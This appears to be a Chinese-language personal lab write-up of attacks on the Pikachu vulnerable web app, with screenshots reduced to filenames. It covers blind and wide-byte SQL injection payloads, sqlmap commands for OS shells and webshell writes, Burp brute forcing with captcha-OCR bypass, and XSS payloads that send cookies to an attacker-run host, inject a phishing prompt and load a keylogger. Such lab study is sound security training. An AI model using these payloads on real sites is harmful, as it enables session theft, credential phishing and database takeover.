image-20240713223919742

image-20240713223812689

盲注

盲注分为布尔盲注和时间盲注,都是根据页面的不同响应来爆破信息等,这里

布尔盲注

image-20240712115458455

当我们输入kobe时,是正常回显,现在我们给他加上注入,加上不正常的输入时

image-20240712135748747

它会提示我们用户不存在,这时候,如果我们再将他后面的判断条件补上一个恒真的式子时

image-20240712144359960

再结合上ascii和substr函数,慢慢对字段进行爆破,这里以数据库为例

kobe' and ascii(substr(database(),1,1))=112#

ascii码112是p正好对应pikachu的第一个,就这样慢慢测试,所以用sqlmap比较方便

image-20240712144909367

这里扫出来是用时间盲注,这里两个都是可以用的,知识sqlmap先使用那个的区别罢了

image-20240712150737350

最后也是扫出来了

时间盲注

布尔盲注是根据回显页面不同来判断爆破数据,而时间盲注则是通过返回时间的不同来判断判断猜测的数据是否正确

说明存在一个基于时间的payload。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

时间停止了5秒,则说明第一个字符是p。如果时间不停止,则说明不是p,这样字测试也比较累,还是用sqlmap把

宽字节注入

https://blog.csdn.net/qq_46091464/article/details/105893529

https://blog.csdn.net/qq_45813980/article/details/119295166

image-20240713214501600

python sqlmap.py -r 1.txt --batch --tamper=unmagicquotes.py --current-db

宽字节要用到tamper里的脚本

下面来手工测试一下

image-20240713215112423

下面就是正常的测试了,我们来看看源码分以下

if(isset($_POST['submit']) && $_POST['name']!=null){

$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);

//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}

单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。

sqlmap获取shell

https://www.cnblogs.com/xinxin999/p/12411990.html

首先是–os-shell,os-shell创建一个对方操作系统的shell,远程执行系统命令,但是我们的知道一些条件,第一是语言,这个很简单

image-20240713225154807

第二是晓得绝对路径,怎么找绝对路径我也总结了,就在我的github上,选项一为用这几个路径,选项二为用户自己输入,选项三为用用户的字典,选项四为爆破。

image-20240713225517818

但这里失败了,看了下有三个条件

1、网站是root权限

2、攻击者要知道绝对路径

3、GPC为off,php主动转义功能关闭

https://www.freebuf.com/articles/es/229425.html

原理:https://www.cnblogs.com/BxScope/p/10883422.html

权限:https://blog.csdn.net/Jiajiajiang_/article/details/86226884

下面按这几步试试

image-20240713230405321

可以看到是false,再看看current-user

image-20240713230436734

发现是root啊,可能是没有权限,去赋予一下

image-20240713231604988

还是失败,估计是有什么东西没开,搜了下,secure_file_priv的值要为空,就是什么都没有

image-20240714142051639

如果显示是null的话,可以去my.ini的[mysqld]下添加

image-20240714142939925

image-20240714143058920

可以看到成功写如shell

image-20240714143123757

试试–os-cmd=whoami,感觉前面那个能执行,这个也可以,文章说这个是不需要你输入路径的,我们只需要看自己的权限,是不是DBA权限–is-dba。如果是sqlserver要看开启xp_cmdshell没有,如果开启了,那就可以使用。

image-20240714143427236

–sql-shell,这个就是获取执行sql的shell,可以在里面执行查询语句等

select host,user,password from mysql.user

image-20240714144556064

也可以用load_file读取一些文件

image-20240714145525075

image-20240714145620239

也可以写入一句话木马

image-20240714150148056

但返回信息要要可以执行堆叠注入才行,等等换个试试,试试连接数据库

python sqlmap.py -d "mysql://root:root@192.168.174.160/pikachu"

也不行,要开启远程连接权限

use mysql;
update user set host = '%' where user = 'root';
select * form user;
flush privileges;

image-20240714153935640

image-20240714154003256

测试下写马,但好像文件没有开写权限所以写不进去,还是比较麻烦的,还得文件有写入得权限

CSRF(跨站请求伪造)

​ Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

CSRF不能获取到Cookie,只能借用而xss是能获取到明文cookie的

XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

一、通过图片的img src属性,自动加载,发起GET请求

image-20240331190038758

二、构建一个超链接,用户点击以后,发起GET请求

image-20240331190045386

三、构建一个自动提交的表单(隐藏),用户访问,发起POST请求

image-20240331190054998

攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。

防护

a、我们能不能区分一个请求是来自于自己的前端页面,还是第三方的网站?
b、怎么让自己的前端页面和伪造的请求变得不一样呢?

image-20240331194910090

1.暴力破解

1.1暴力破解

image-20240318225709237

账号或密码都不存在,上BP

image-20240318225759689

发送攻击模块,因为用户名或密码都不知道,同时进行爆破

image-20240318230410118

首先对变量1进行设置。

image-20240318230523188

image-20240318230531586

然后开始攻击即可

image-20240318231413305

image-20240318231427803

//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';

} else{
$html.= '<p> username or password is not exists~</p>';
}
} else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}

1.2.验证码绕过server

image-20240318231729781

随便输输,验证失败后会刷新验证码,抓包试试

image-20240318231830331

猜测只有当页面刷新时,验证码才会重新刷新

image-20240318231923965

可以看到,确实是这样,可能验证码都在数据库里,不是随机生成的。

image-20240318232122468

同样可以成功

1.3.验证码绕过client

image-20240319004351349

客户端验证码,先输入正确的测试一下

image-20240319120748583

是正常显示的,考虑到是客户端验证码,查看其生成验证码原理(源代码)

image-20240319120925622

在源代码中搜错这个函数

var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();

可以看到验证码是在前端生成和验证的,所以我们试试抓包然后爆破

image-20240319160100182

image-20240319160429831

当然也有另一种方法,先F12,再F1,选择禁用JavaScript

image-20240319160624787

然后就不用输入验证码了

image-20240319160610927

1.4.token防爆破?

“token”通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。

image-20240319160859595

对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块

我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork

image-20240319161255693

下面我们来到payloads模块,password设置和之前一样,上传我们的爆破字典即可,第二个位置token处进行如下设置,我们首先来到Options模块

image-20240319161608628

image-20240319161648805

image-20240319161722620

我们将刷新的请求中的数据包下滑,大约在927行左右找到token,选中并且复制,然后点击ok

image-20240319161809459

image-20240319161826920

我们再回到payloads模块,前两个位置和前几关一样,正常选择字典即可,第二个位置选择Secursive grep(递归搜索),并且将我们刚刚复制的token粘贴到下面的框里,开始攻击即可。

image-20240319161949347

如果出现以下错误

image-20240319162031266

我们来到resource pool模块,选择创建新的资源池,并把最大请求数改为1,然后开始攻击即可

image-20240319162110973

image-20240319162225198

验证码

1.无验证码的爆破

设置代理,这样出口ip就会发生变化

image-20240902152433045

image-20240902152559551

访问目标网址

image-20240902152623491

抓包

image-20240902152654918

发送到intruder模块爆破,这里就不替换帐号了,只对密码进行替换

image-20240902153002909

导入自己下载的字典

image-20240902153057663

开始爆破即可

image-20240902153140289

可以根据状态码和返回包长度进行结果的判断,这里是一个没成,这个和字典的好坏有关,这里只是学习测试用

2.带验证码的爆破

工欲善其事必先利其器,我们先来学下需要用到两个的插件

https://blog.csdn.net/zdn2325/article/details/125523694

下载好server.py和对应jdk版本的jar包,启动server.py

image-20240902155312577

image-20240902155327169

在bp中添加插件

image-20240902155512819

image-20240902155533623

复制图片的url地址到burp的xiapao插件里面对应的位置,我这里选用的是编号为2,所以对应的关键字就是@xiapao@1@,这里有两个识别方式muggle_ocr和ddddocr,这两种都可以使用自己辨别那个正确率高就用哪个。我这里用的第一个。上面的瞎跑接口就是默认的接口。右边的三个全部勾上,保存配置。
image-20240902155719467

抓网页的包

image-20240902155836530

image-20240902160004457

如果没有回包,记得把前面设置的proxy关闭,然后有这种空格是编码问题,可以先复制到txt文本文件里查看,也可以在设置里搜索font,把编码方式换成宋体等

image-20240902160249326

image-20240902160300561

下面把包发送到intruder然后code换成我们刚刚的@xiapao@1@

image-20240902160438048

配置好字典,然后线程池数量调成1

image-20240902160540941

然后有问题的话应该是post方法导致的,你可以试着把整个post包放到xiapao里

image-20240902160858013

然后开始爆破

image-20240902160924118

这种就是匹配失败

image-20240902160947253

这种是匹配成功

image-20240902161011141

这种就是太频繁导致ip被ban了,可以通过切换代理地址的方式解决,可以试着开启sockets proxy,这里是vpn环境所以被限制了,在xiapao日志里也可以看到匹配结果

image-20240902161342769

下面介绍第二种工具

image-20240902161403080

同样的下载响应的包和服务,导入burp

image-20240902161726316

image-20240902161749016

这个界面会比刚刚的简洁一点,先启动下服务

image-20240902161916127

访问生成验证码的接口,获取请求包

http://172.168.20.140:8110/xyhai.php?s=/Login/verify/id/a_login_1

image-20240902162955486

image-20240902163008365

image-20240902163024410

在这里就可以看到获取到的验证码,接下来配置接口URL,地址栏中输入http://127.0.0.1:8888,然后在Request template中右键在模板库中选择ddddocr:

image-20240902163231805

image-20240902163348301

然后获取-》识别看右边的结果,然后开始爆破配置

image-20240902163553930

因为有两个参数且互相关联要同时变化,所以用这个模式pitchfork,第一个参数导入密码字典

image-20240902163627586

第二个参数选择我们的拓展插件生成的验证码

image-20240902163717941

线程池还是同一个

image-20240902163732411

image-20240902164411003

用的时候记得勾选这个

image-20240902164428743

识别好像还行,但爆破结果好像不怎么样,不如前一个,应该是我没配置好

2. XSS漏洞

XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

​ 1.反射性XSS;

​ 2.存储型XSS;

​ 3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

2.1 反射型(get)

​ 反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS 代码。反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。

image-20240328160844874

敲到这里,发现敲不进去了,F12修改一下这里的长度限制

image-20240328160934463

image-20240328160949052

2.2 反射型(post)

image-20240328161210806

同样的句子,两者区别:get型提交的数据会显示在url中,而post不会。

image-20240328161355688

但练习xss获取cookie,我们试试,要有一个接收的服务器,这里我们用kali快速搭建一个

python -m http.server 9966

在服务器中准备一个test.php

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

意思是将cookie保存到$cookie函数中然后保存到cookie.txt文件中

我们再创建一个cookie.txt文件

然后我们利用反射型xss进行攻击,首先来构造一个payload,我们接收cookie的地址为

http://192.168.174.137:9966/test.php

image-20240328164048923

<script>document.location='http://192.168.174.137:9966/test.php?cookie='+document.cookie;</script>
GET /test.php?cookie=ant[uname]=admin;%20ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;%20PHPSESSID=qptcbc76h4b9sonl89b7pmmckc HTTP/1.1" 200 -

用不同的账户登陆,比如test

image-20240328165137608

刷新浏览器,抓包

image-20240328165407385

把cookie替换为我们抓到的值

2.3 存储型

存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成xss 攻击。

image-20240328170155187

<script>alert('xss')</script>

提交时会弹窗,刷也会,这是因为语句被存入数据库,数据库每次查询完都会执行一次。

2.4 DOM型xss

DOM,全称 DocumentObject Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。

以下是一些经常出现 dom xss 的关键语句

document.referer 属性

window.name 属性

location 属性

innerHTML属性

documen.write 属性

image-20240328170511209

输入个1试试,点一下,会访问/vul/xss/1,所以我们可以试着将这个链接重定向到别的地方。

js函数也给了提示

function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

image-20240328170725121

当我们鼠标悬停在img上时就会弹出,onlick是点击

2.4.1 DOM-xss-x

输入个1试试,发现有个链接,然后url中传了个参数

image-20240328171043699

先点击链接试试

image-20240328171128496

多了个链接,再点击试试,和前面那个一样

先试试直接传参数

<script>alert%28%27xss%27%29%3B<%2Fscript>

发现有些符号被转码了,再点击试试

<script>alert(

最终只剩下这些东西了,查看网页源代码

function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

它的输入实际上是从url上获取的,这就类似反射性。

image-20240328172514259

这个replace函数还要特意去看一下,有一些正则表达式

正则表达式 /\+/g 是用来匹配字符串中的 + 字符的。

其中:

  • / 是正则表达式的起始和结束符号。
  • \/ 匹配一个正斜杠字符 /
  • \+ 匹配一个加号字符 +。由于加号 + 在正则表达式中有特殊含义(表示匹配前一个字符一次或多次),因此需要使用反斜杠 \ 进行转义,以表示字面意义上的加号字符。
  • g 是全局匹配标志,表示在整个字符串中查找所有匹配项,而不仅仅是第一个匹配项。

2.5 xss盲打

image-20240328204846100

看了下源代码没什么线索,直接输入语句测试一下,没反应,tip提示登陆

image-20240328205221497

发现登陆时会弹出来

image-20240328205245592

image-20240328205308962

可以看到虽然没有显示,但查看元素的时候还是有的,说明数据被存入数据库了。

image-20240328211450315

这个用docker搭建的靶场,数据库还有点难进,不知道密码。。。只能先配置跳过了

2.6 xss之过滤

image-20240328211808505

看了下,源代码里没什么线索

image-20240328212138815

在用”onclick=”alert(‘xss’)”>,发现整个句子都被反回来了

’<script>alert('xss')</script>‘

试了下这一句

image-20240328212701150

image-20240328212717660

试试大写,也不行,试试混写

<scRIPt>alert(666)</ScrIpt>

这句可以

image-20240328213928289

2.7 xss之htmlspecialchars

这是一个php的函数会把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:

image-20240328214323457

我们发现除了单引号其他的特殊字符都进行了编码,我们可以输入q' onclick='alert(666)'第一个单引号是对前面进行闭合。

image-20240328215125664

发现是 a 标签 所以可以使用 javascript:alert(/xss/)

image-20240328215425841

2.8 xss之href输出

image-20240328215726438

image-20240328215708091

同样是a标签

2.9 xss之js输出

查看下源码,可以找到函数

$ms='1';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}

输入tmac发现确实会返回,尝试下闭合

image-20240328220100804

输入1'</script><script>alert('xss')</script>,先将前面的script闭合再插入我们自己的语句

image-20240328220454515

image-20240328220702544

2.10 xss之获取cookie

2.10.1 get

这里我们利用pikachu’自带的工具测试

image-20240329161554975

image-20240329161606545

image-20240329161614904

构造语句

<script>document.location = 'http://192.168.174.142:8080/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

然后在get中插入xss语句,会在后台得到PHPSSID

image-20240329162123946

执行之后,跳转到pikachu/index.php,因为我这里docker配置的环境,所以没有更改目标地址,所以可能访问不到这个页面,可以自己修改

image-20240329162625896

2.10.2 post

输入账号密码登录,页面跳转,因为post类型,所以参数没有在url中显示。得抓包才能看到

image-20240329163059311

我们发现message是通过请求体返回,通过post方式传到后台。这样的话是不能把恶意代码嵌入url中。
POST型XSS获取cookie原理

在这里插入图片描述

我们需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。

2.11 xss之钓鱼PHP中Header函数和PHP_AUTH_USER做用户验证

在这里插入图片描述

在开始之前,需要修改一下fish.php文件

image-20240329171826373

打开xss钓鱼后台,打开存储型xss,输入

<script src="http://192.168.174.142:8080/pkxss/xfish/fish.php"></script>
<script src="http://192.168.174.142:8080/pkxss/xfish/fish.php"></script>

页面会出现弹窗,输入账号密码。当页面刷新时依然存在弹窗,所有访问者都会遇到弹窗,输入账号密码后,数据被存入后台,打开xss后台即可查看钓鱼数据。
image-20240329182644000

之前源文件多了个空格,一直没信息过来。。。

2.12XSS获取键盘记录

当协议、主机(主域名,子域名)、端口中的任意一一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
跨域同源策略
了安全考虑,所有的浏览器都约定了”同源策略”, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/qq_53571321/article/details/121692906

先修改下rk.js和rkserver文件

image-20240329185222678

image-20240329185437072

在pikachu存储型xss模块进行键盘记录的实验演示:
在存储型xss漏洞模块输入

<script src="http://192.168.174.142:8080/pkxss/rkeypress/rk.js"></script>

此时这段JavaScript就被嵌入到了页面中,此时在网页上输入的键盘就会被存储到攻击者的后台

image-20240329191616017